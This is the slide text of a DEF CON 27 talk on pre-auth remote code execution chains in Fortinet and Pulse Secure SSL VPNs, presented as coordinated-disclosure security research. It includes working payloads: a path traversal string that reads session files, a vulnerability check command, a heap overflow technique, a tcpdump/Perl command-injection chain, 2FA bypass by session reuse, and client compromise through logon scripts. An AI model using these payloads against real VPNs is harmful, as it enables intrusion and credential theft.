DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like nsa pre auth rce on leading ssl vpns

Infiltrating Corporate Intranet
Like NSA
Pre-auth RCE on Leading SSL VPNs
Orange Tsai (@orange_8361)
Meh Chang (@mehqq_)

Orange Tsai
• Principal security researcher at DEVCORE
• Captain of HITCON CTF team
• 0day researcher, focusing on
Web/Application security
orange_8361

Meh Chang
mehqq_
• Security researcher at DEVCORE
• HITCON & 217 CTF team
• Focus on binary exploitation

Highlights today
• Pre-auth root RCE exploit chain on Fortinet SSL VPN
• Hard-core binary exploitation
• Magic backdoor
• Pre-auth root RCE exploit chain on Pulse Secure SSL VPN
• Out-of-box web exploitation
• Highest bug bounty from Twitter ever
• New attack surface to compromise back all your VPN clients

Agenda
• Introduction
• Jailbreak the SSL VPN
• Attack vectors
• Case studies & Demos
• Weaponize the SSL VPN
• Recommendations

SSL VPN
• Trusted by large corporations to protect their assets
• Work with any network environments and firewalls
• Clientless, a web browser can do everything!
SSL VPNBrowser
SSL/TLS
Intranet

What if your trusted SSL VPN
is insecure?

DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like nsa pre auth rce on leading ssl vpns

Why focusing on SSL VPN
1. Important corporate assets but a blind-spot
2. Widely used by corporations of all sizes
3. Only few SSL VPN vendors dominate the market
4. Direct Intranet access and must be exposed to outside

Even NSA is hunting bugs on
SSL VPN
Think about Equation Group leaks

A silent-fix case
• We accidentally found a pre-auth RCE on Palo Alto SSL VPN
during our Red Team assessment
• A silent fixed 1-day:
• No CVE
• No advisory
• No official announcement

Response from Palo Alto PSIRT
Palo Alto Networks does follow coordinated vulnerability disclosure for
security vulnerabilities that are reported to us by external researchers.
We do not CVE items found internally and fixed. This issue was previously
fixed, but if you find something in a current version, please let us know.

High severity CVE statistics
159
50
26
17 13 6
Cisco F5 Palo Alto Citrix Fortinet Pulse Secure
https://nvd.nist.gov

We focus on…
• Pulse Secure SSL VPN
• More than 50,000+ servers operating on the Internet
• Trusted by large corporations, service providers and government
entities
• Fortigate SSL VPN
• More than 480,000+ servers operating on the Internet
• Prevalent among medium-sized enterprises

Difficulties for kick-starting
• SSL VPN is a black box and closed source appliance
• All-in-one & Build their own architecture stacks from scratch
• Only restricted shell provided
• Jailbreak is the prerequisite for further researches

Jailbreak the SSL VPN
• We are not hardware guys :(
• So we look into the virtual image first
• Analyzing virtual images
1. Typical virtual images
2. Encrypted virtual images

Typical virtual images
• If there is no LILO or GRUB password protected, we can just enter
the Single-User mode
• Mount the .VMDK on your Linux box and modify the filesystem
• /etc/crontab
• /etc/ld.so.conf
• /etc/passwd
• Many ways…

What if the disk has been
encrypted?

Encrypted virtual images
BIOS/MBR
LILO/GRUB
• Stage 1
• Stage 2
vmlinuz kernel
• zImagea
• bzImage
/sbin/init
• vmlinuz kernel
• Level - Hard
• Reverse engineering for the win!
• /sbin/init
• Level - Easy
• Memory forensics for the win!

The booting process
BIOS
LILO
Kernel
/sbin/init
?????????????????

Find the vital point
BIOS
LILO
Kernel
/sbin/init
/home/bin/dsconfig.pl
Memory Forensics

In-memory patch
Memory Patch
BIOS
LILO
Kernel
/sbin/init
///////////////bin/sh

Once we press the Enter…
BIOS
LILO
Kernel
/sbin/init
///////////////bin/sh

Attack vectors
• WebVPN
• Native script language extensions
• Multi-layered architecture problems

WebVPN
• A convenient proxy feature – Portable & Clientless
• Proxy all kinds of traffics through the web browser
• Supports various protocols
• HTTP, FTP, TELNET, SSH, SMB, RDP …
• Handles various web resources
• WebSocket, JavaScript, Flash, Java Applet …

WebVPN implementation
• Build from scratch
• Protocols, web resources handling are prone to memory bugs
• Requires high security awareness
• Debug function
• Logging sensitive data
• Information exposed

WebVPN implementation
• Modify from an open source project
• Copy the code, copy the bugs
• Hard to maintain & update & patch
• Call existing libraries
• Neglect to update
• Libcurl (2008), Libxml (2009)

• Most SSL VPNs have their own native script
language extensions
• En/Decoding in C/C++
• Type confusion between
languages
Web Stack
F5 Networks PHP / C (Apache extension)
Cisco Lua / C (self-implemented server)
Pulse Secure Perl / C++ (self-implemented server)
Fortigate Nginx / C (Apache extension)
Palo Alto PHP / C (AppWeb extension)
Citrix PHP / C (self-implemented server)
Native script language
extensions

En/Decoding in C/C++
• String operation is always difficult for C language
• Buffer size calculation
• Dangerous functions
• Misunderstood functions
ret = snprintf(buf, buf_size, format, …);
left_buf_size = buf_size – ret;

Type confusion
• Type seems the same but …
• Perl string or C string?
• What TYPE is it?
my ($var) = @_;
EXTENSION::C_function($var);

Multi-layered architecture
problems
• Inconsistency between each architecture layer
• Failed patterns
• Reverse proxy + Java web = Fail
• Breaking Parser Logic by Orange Tsai from Black Hat USA 2018
• Customized(C/C++) web server + RESTful API backend

Failed Patterns
https://sslvpn/public/images/x/front_x/../../../../some.php
• ACL bypass on customized C webserver + RESTful backend
• Abuse Regular Expression greedy mode to bypass path check
^/public/images/.+/(front|background)_.+
• Dispatched to backend PHP engine and access privileged pages

Case studies
Pre-auth remote code execution on Fortigate SSL VPN
Pre-auth remote code execution on Pulse Secure SSL VPN

Disclaimer
All the CVEs mentioned below have been reported and patched
by Fortinet, Pulse Secure and Twitter

Fortigate SSL VPN
• All programs and configurations compiled into /
• About 500 MB, stripped idb with 85k functions
• Plenty of function tables
• Customized web daemons
• Based on apache since 2002
• Self-implemented apache module
/bin/init

Worth mentioning bugs
• Pre-auth RCE chain
• CVE-2018-13379: Pre-auth arbitrary file reading
• CVE-2018-13382: Post-auth heap overflow
• The magic backdoor
• CVE-2018-13383: Modify any user’s password with a magic key

Arbitrary file reading
• A function reading language json files for users
• Concatenate strings directly
• No ../ filter
• Limited file extension
snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);

snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);
• Utilize the feature of snprintf
• The snprintf() and vsnprintf() functions will write at most size-1 of
the characters printed into the output string
• Appended file extension can be stripped!
lang=/../../../..//////////////////////////////bin/sh/migadmin/lang//../../../..//////////////////////////////bin/sh.json
0x40

An SSL VPN mystery
Appears in many products …

Excessively detailed session file
•
• Session token
• IP address
• User name
• Plaintext password
/dev/cmdb/sslvpn_websession

WebVPN – HTTP/HTTPS
https://sslvpn:4433/proxy/72ebc8b8/https/devco.re/

Heap overflow vulnerability
• HTTP proxy
• Perform URL rewriting
• JavaScript parsing
• memcpy to a 0x2000 heap buffer without length check
memcpy(buffer, js_url, js_url_len);

Exploitation obstacles
• Destabilizing factors of heap
• Multiple connection handling with epoll()
• Main process and libraries use the same heap – Jemalloc
• Regularly triggered internal operations unrelated to connection
• Apache additional memory management
• No free() unless connection ends

Jemalloc allocator limitation
• Centralize small objects
• Stores small regions in
corresponding runs
• Reduce interference between
small and large objects
• Limit target options
header
bitmap
reg 0
reg 1
reg 2
…
reg N
header
bitmap
reg 0
reg 1
…
reg N
run
(0x20)
run
(0x30)

Surprise!
Program received signal SIGSEGV, Segmentation fault.
0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-
x86_64/lib/libssl.so.1.1
2: /x $rax = 0x41414141
1: x/i $pc
=> 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
(gdb)

SSL structure (OpenSSL)
• Stores information of each SSL connection
• Ideal target
Allocation triggered easily
Size close to JavaScript buffer
Nearby JavaScript buffer with regular offset (k + N pages)
Useful structure members

Useful structure members
typedef struct ssl_st SSL;
struct ssl_st {
int version;
const SSL_METHOD *method; //func table
…
int (*handshake_func) (SSL *);
};

Mess up connections
• Overflow SSL structure
• Establish massive connections
• Lots of normal requests
• One overflow request
Fortigate
SSL VPN
Massive
connections
Normal request
Overflow request
Normal request
Normal request
Fuzzer

Exploit between connections
HEAP MEMORY
SSL SSL SSL
Connection 1
Connection 2
Connection 3
LOW HIGH

Original SSL structure
HEAP MEMORY
SSL SSL SSL
version method
*handshake
_func
ssl_accept()
… …
LOW HIGH

Trigger JavaScript Parsing
HEAP MEMORY
SSL SSL SSL
version method
*handshake
_func
ssl_accept()
… …
LOW HIGH
JS
Buffer
Allocate

LOW HIGH
Overflow SSL structure
HEAP MEMORY
SSL SSL SSL
version method
ssl_accept()
JS
Buffer
memcpy(buffer, js_url, js_url_len);
*handshake
_func
… …
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

*handshake
_func
… …
LOW HIGH
From SEGFAULT to RCE
HEAP MEMORY
SSL SSL SSL
version method
*handshake
_func
ssl_accept()
… …
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

LOW HIGH
Forge SSL structure
HEAP MEMORY
SSL SSL
version method
system()
JS Buffer SSL
*handshake
_func
… …

Enjoy your shell!
• Send fuzzy connections to meet the condition
• Daemon may crash multiple times
• Fortigate owns a reliable watchdog!
• Get a shell in 1~2 minutes

Make your life easier
Find another Door to get in

MAGIC backdoor
• A “magic” parameter
• Secret key for reset password
• Designed for updating outdated password
• but lack of authentication

Demo
Pop a root shell from the only exposed HTTPS port

Demo
https://youtu.be/Aw55HqZW4x0

Pulse Secure SSL VPN
• Pulse Secure was formed a divestiture of Juniper Networks
• Customized web server and architecture stack
• Perl enthusiast - numerous Perl extensions in C++
• LD_PRELOAD all processes with:
• libsafe.so - Detect and protect against stack smashing attacks
• libpreload.so - User-mode networking system call hooks

Vulnerabilities we found
• CVE-2019-11510 - Pre-auth arbitrary file reading
• CVE-2019-11538 - Post-auth NFS arbitrary file reading
• CVE-2019-11508 - Post-auth NFS arbitrary file writing
• CVE-2019-11542 - Post-auth stack buffer overflow
• CVE-2019-11539 - Post-auth command injection
• CVE-2019-11540 - XSSI session hijacking
• CVE-2019-11507 - Cross-site scripting

• CVE-2019-11510 – Webserver-level pre-auth file reading
• Pulse Secure has introduced a new feature HTML5 Access since
SSL VPN version 8.2
• A new solution to access Telnet, SSH and RDP via browsers
• To handle static resources, Pulse Secure created a new IF-case to
widen the original strict path validation

Am I affected by this vuln?
• Probably YES!
• All un-patched versions are vulnerable except the End-of-Life 8.1 code
$ curl -I 'https://sslvpn/dana-na///css/ds.js'
HTTP/1.1 400 Invalid Path
$ curl -I 'https://sslvpn/dana-na///css/ds.js?/dana/html5acc/guacamole/'
HTTP/1.1 200 OK

What can we extract?
1. Private keys and system configuration(LDAP, RADIUS and SAML…)
2. Hashed user passwords(md5_crypt)
3. Sensitive cookies in WebVPN(ex: Google, Dropbox and iCloud…)
4. Cached user plaintext passwords

Command Injection
• CVE-2019-11539 – Post-auth Command Injection
sub tcpdump_options_syntax_check {
my $options = shift;
return $options if system("$TCPDUMP_COMMAND -d $options >/dev/null 2>&1") == 0;
return undef;
}
/dana-admin/diag/diag.cgi

Pulse Secure hardenings
• Several hardenings on Pulse Secure SSL VPN…
1. System integrity check
2. Read-only filesystem(only /data are writable)
3. The DSSafe.pm as a safeguard protects Perl from dangerous
operations

The Perl gatekeeper
• DSSafe.pm
• A Perl-C extension hooks several Perl functions such as:
• system, open, popen, exec, backstick…
• Command-line syntax validation
• Disallow numerous bad characters - [&*(){}[]`;|?n~<>]
• Re-implement the Linux I/O redirections in Perl

Failed argument injection :(
• TCPDUMP is too old(v3.9.4, Sept 2005) to support post-rotate-command
• Observed Pulse Secure caches Perl template result in:
• /data/runtime/tmp/tt/*.thtml.ttc
• No way to generate a polyglot file in both Perl and PCAP format
Usage: tcpdump [-aAdDeflLnNOpqRStuUvxX] [-c count] [-C file_size]
[-E algo:secret] [-F file] [-i interface] [-M secret]
[-r file] [-s snaplen] [-T type] [-w pcap-file]
[-W filecount] [-z postrotate-command]
[-y datalinktype] [-Z user] [expression]
/usr/sbin/tcpdump –help>_

Time to dig deeper
• Dig into DSSafe.pm more deeply, we found a flaw in
command line I/O redirection parsing
use DSSafe;
system("tcpdump -d $options >/dev/null 2>&1");
system("tcpdump -d -h >file >/dev/null 2>&1"); # `file` not found
system("tcpdump -d -h >file < >/dev/null 2>&1"); # `file` created
dssafe_example.pl

Think out of the box
STDOUT is uncontrollable
Could we write a valid Perl by just STDERR?

$ tcpdump -d -r '123'
tcpdump: 123: No such file or directory
$ tcpdump -d -r '123' 2>&1 | perl -
syntax error at - line 1, near "123:"
Execution of - aborted due to compilation errors.

$ tcpdump -d -r 'print 123#'
tcpdump: print 123#: No such file or directory
$ tcpdump -d -r 'print 123#' 2>&1 | perl –
123

tcpdump: print 123#: No such file or directory
Code
GOTO label Comment
Perl 101

/usr/sbin/tcpdump -d
-r'$x="ls",system$x#'
2>/data/runtime/tmp/tt/setcookie.thtml.ttc
<
>/dev/null
2>&1
RCE Exploit

tcpdump: $x="ls",system$x#: No such file...
STDERR(2) > /data/runtime/tmp/tt/setcookie.thtml.ttc
1
<
>/dev/null
2>&1

<
>/dev/null
2>&1
2

<
>/dev/null
2>&1
3

<
>/dev/null
2>&1
boot bin home lib64 mnt opt proc sys usr var
data etc lib lost+found modules pkg sbin tmp
...
curl https://sslvpn/dana-na/auth/setcookie.cgi>_

Response from Pulse Secure
• Pulse Secure is committed to providing customers with the best Secure Access Solutions
for Hybrid IT- SSL VPN and takes security vulnerabilities very seriously
• Timeline:
• This issue was reported to Pulse Secure PSIRT Team on March 22, 2019
• Pulse Secure fixes all reported issues in short span of time and published the security advisory SA44101 on
April 24, 2019 with all software updates that address the vulnerabilities for unpatched versions
• Pulse Secure assigned the CVE’s to all reported vulnerabilities and updated the advisory on April 25, 2019
• Pulse Secure sent out a reminder to all customers to apply the security patches on June 26, 2019
• Pulse Secure would like to thank DEVCORE Team for reporting this vulnerability to Pulse
Secure and working toward a coordinated disclosure

Hacking Twitter
• We keep monitoring large corporations who use Pulse Secure
by fetching the exposed version and Twitter is one of them
• Pulse Secure released the patch on April 25, 2019 and we wait
30 days for Twitter to upgrade the SSL VPN

Twitter is vulnerable
$ ./pulse_check.py <mask>.twitter.com
[*] Date = Thu, 13 Dec 2018 05:34:28 GMT
[*] Version = 9.0.3.64015
[*] OK, <mask>.twittr.com is vulnerable

Two-factor authentication
• Bypass the two-factor authentication
1. Although we can extract cached passwords in plaintext from
/lmdb/dataa/data.mdb, we still can not do anything :(
2. Observe Twitter enabled the Roaming Session (enabled by default)
3. Download the /lmdb/randomVal/data.mdb to dump all session
4. Forge the user and reuse the session to bypass the 2FA

However
We only have the hash of admin password in
sha256(md5_crypt(salt, …))

Weaponize the SSL VPN
• The old-school method
• Watering hole / Drive by download
• Replace SSL VPN agent installer
• Man-in-the-middle attack

Weaponize the SSL VPN
• The new method to compromise all VPN clients
• Leverage the logon script feature!
• Execute specified program once the VPN client connected
• Almost every SSL VPN supports this feature
• Support Windows, Linux and Mac

Demo
Compromise all connected VPN clients

Demo
https://youtu.be/v7JUMb70ON4

Recommendations
• Client certificate authentication
• Multi factors authentication
• Enable full log audit (Be sure to send to out-bound server)
• Subscribe to the vendor's security advisory and keep system
updated!

Thanks!
@orange_8361
orange@devco.re
@mehqq_
meh@devco.re

DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like nsa pre auth rce on leading ssl vpns

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DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like nsa pre auth rce on leading ssl vpns